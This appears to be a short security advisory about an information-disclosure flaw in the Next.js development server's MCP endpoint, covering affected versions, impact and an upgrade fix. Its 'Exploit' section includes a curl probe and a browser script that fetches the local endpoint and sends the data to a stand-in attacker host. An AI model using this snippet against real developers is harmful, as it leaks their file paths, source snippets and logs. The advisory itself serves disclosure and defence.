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The vulnerability tracked as CVE-2026-94486 resides in the Next.js development server (next dev), specifically within its Model Context Protocol (MCP) endpoint. In affected versions, the framework fails to reliably validate or restrict cross-origin requests targeting this local management interface. When a developer operates a local instance of the development server and concurrently browses an untrusted or malicious website, that external page can successfully issue cross-site requests to the local MCP route. Because proper origin verification is absent, the endpoint responds by leaking confidential development data back to the external domain. The exposed information includes absolute file paths mapping the project’s location on disk, granular source code snippets extracted from error reports, complete internal route inventories, and detailed development logs. Although this security flaw introduces significant reconnaissance risks on a developer workstation, it remains strictly isolated to the development environment, as production builds do not initialize or expose the vulnerable MCP service.
DailyCVE Form:
Platform: Next.js
Version: 16.0.0-16.3.7
Vulnerability : Information Disclosure
Severity: Low
date: September 30, 2026
Prediction: September 30, 2026
What Undercode Say
The vulnerability stems from the lack of origin verification headers on the local Model Context Protocol endpoint introduced in Next.js version 16. Developers running local instances are susceptible to cross-site scripting-like data retrieval techniques where malicious browser contexts abuse CORS gaps to fetch internal workspace metrics.
Exploit: (Educational Purposes!)
Conceptual verification of cross-origin fetch against local Next.js development server MCP endpoint curl -s -I "http://localhost:3000/_next/mcp" -H "Origin: https://malicious-site.example"
// Malicious script snippet executed inside a browser tab while developer runs next dev
fetch('http://localhost:3000/_next/mcp', {
method: 'GET',
credentials: 'include'
}).then(res => res.json()).then(data => {
navigator.sendBeacon('https://attacker.example/log', JSON.stringify(data));
});
Protection: from this CVE
Upgrade the Next.js framework installation immediately to version 16.3.8 or any later secure release where cross-origin validation logic for the development server’s Model Context Protocol endpoint is fully enforced. Avoid browsing untrusted or external web pages while maintaining an active local development server session.
Impact:
Successful exploitation allows an unauthorized external website to harvest critical workstation telemetry, including local disk paths, route structures, internal error trace snippets, and debugging logs, potentially aiding attackers in planning further targeted software supply chain attacks.
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Reported By: github.com
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